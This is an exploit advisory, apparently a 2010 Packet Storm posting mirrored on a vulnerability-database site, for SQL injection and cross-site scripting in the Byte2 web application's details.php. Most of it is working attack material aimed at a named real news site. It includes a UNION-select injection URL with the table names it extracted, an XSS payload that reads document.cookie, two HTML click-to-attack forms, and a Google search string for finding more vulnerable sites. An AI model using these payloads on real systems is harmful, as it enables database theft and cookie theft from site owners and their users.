Lucene search
K

Byte2 SQL Injection / Cross Site Scripting

🗓️ 19 Dec 2010 00:00:00Reported by KnocKoutType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Byte2 0-day SQL Injection and Cross Site Scripting Exploit

Code
`=======================================================  
Byte2 <= (Details.php) 0-day SQL-i/Persistent XSS Exploits  
=======================================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
3 3  
3 _ __ __ ________ __ __ 3  
7 /' \ /'__`\ /'__`\ /\_____ \ /\ \/\ \ 7  
1 /\_, \/\_\L\ \ /\_\L\ \\/___//'/' \_\ \ \ \____ 1  
3 \/_/\ \/_/_\_<_\/_/_\_<_ /' /' /'_` \ \ '__`\ 3  
3 \ \ \/\ \L\ \ /\ \L\ \ /' /' /\ \L\ \ \ \L\ \ 3  
7 \ \_\ \____/ \ \____//\_/ \ \___,_\ \_,__/ 7  
1 \/_/\/___/ \/___/ \// \/__,_ /\/___/ 1  
3 >> Exploit database separated by exploit 3  
3 type (local, remote, DoS, etc.) 3  
7 7  
1 [+] Site : 1337db.com 1  
3 [+] Support e-mail : submit[at]1337db.com 3  
3 3  
7 ############################################ 7  
1 I'm KnocKout 1337 Member from 1337 DataBase 1  
3 ############################################ 3  
3 3   
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Author : KnocKout  
[~] Contact : [email protected]  
[~] HomePage : http://h4x0resec.blogspot.com  
[~] Reference : http://h4x0resec.blogspot.com  
[~] Special Thanks : DaiMon,BARCOD3 and H4X0RE SECURITY  
##############################################################  
exploit(lamer)-DB.com FUCK n00b LAMERS.  
  
Kralýnýz gelsin. mua:) siksqlZkýrev..  
############################################################  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|~Web App. : Byte2  
|~Price : N/A  
|~Version : N/A  
|~Software: http://www.bitsnbytes.gr/  
|~Vulnerability Style : SQL Injection  
|~Vulnerability Dir : /  
|~sqL : MysqL   
|~Google Keyword : Powered by Byte2  
|[~]Date : "19.12.2010"  
|[~]Tested on : (L):Vista (R):Apache/2.2.3 (CentOS) PHP/5.1.6 MYSQL DEMOS  
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Demos:  
http://www.thepressproject.gr/  
http://www.peterpan.gr/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation| details.php SQL Injection~~~~~~~~~~~}|  
  
http://$localhost/$path/details.php?id=1' { ' String F. sql Injection}  
  
Ex; http://www.thepressproject.gr/  
  
[~] SQL Injecting  
http://www.thepressproject.gr/cablegate/details.php?id=1' and 1=2/**/uNiOn/**/seLeCt 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16/**/fRom/**/information_schema.tables/*  
[~] MySQL Writes : ape,articles,byteconfig,bytegallerys,bytegallerysize,bytegories,bytemaps,bytephotos,bytetags,comments,f1results,f2results,misc,newsletters,podcasts,tpplive,visitor  
[+] Table Names OK.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
POC Exploit  
  
<html>  
<body>  
<form   
action="http://www.thepressproject.gr/cablegate/details.php?id=1' and 1=2/**/uNiOn/**/seLeCt 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16/**/fRom/**/information_schema.tables/*"   
method="POST">  
<input type="submit" name="kieli" value="Click and SQL Injection for click Enter">  
</form>  
</body>  
</html>  
#######################################################################  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation| details.php Cross Site Scripting~~~~~~~~~~~}|  
  
http://$localhost/$path/details.php?id=1 {XSS Exploit}  
  
[~]XSS attacking..  
http://www.thepressproject.gr/cablegate/details.php?id=1%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
[~]Browser Writes : $Cookies  
[+]Attack OK.  
#######################################################################  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
POC Exploit  
<html>  
<body>  
<form   
action="http://www.thepressproject.gr/cablegate/details.php?id=1%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E"   
method="POST">  
<input type="submit" name="kieli" value="Click and XSS ATTACK for click Enter">  
</form>  
</body>  
</html>  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
to your Continue..  
  
  
=============================================================  
.__ _____ _______   
| |__ / | |___ __\ _ \_______ ____   
| | \ / | |\ \/ / /_\ \_ __ \_/ __ \   
| H \/ ^ /> <\ \_/ \ | \/\ ___/   
|___| /\____ |/__/\_ \\_____ /__| \___ >  
\/ |__| \/ \/ \/   
_____________________________   
/ _____/\_ _____/\_ ___ \   
\_____ \ | __)_ / \ \/   
/ \ | \\ \____  
/_______ //_______ / \______ /  
\/ \/ \/ Was here.  
================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation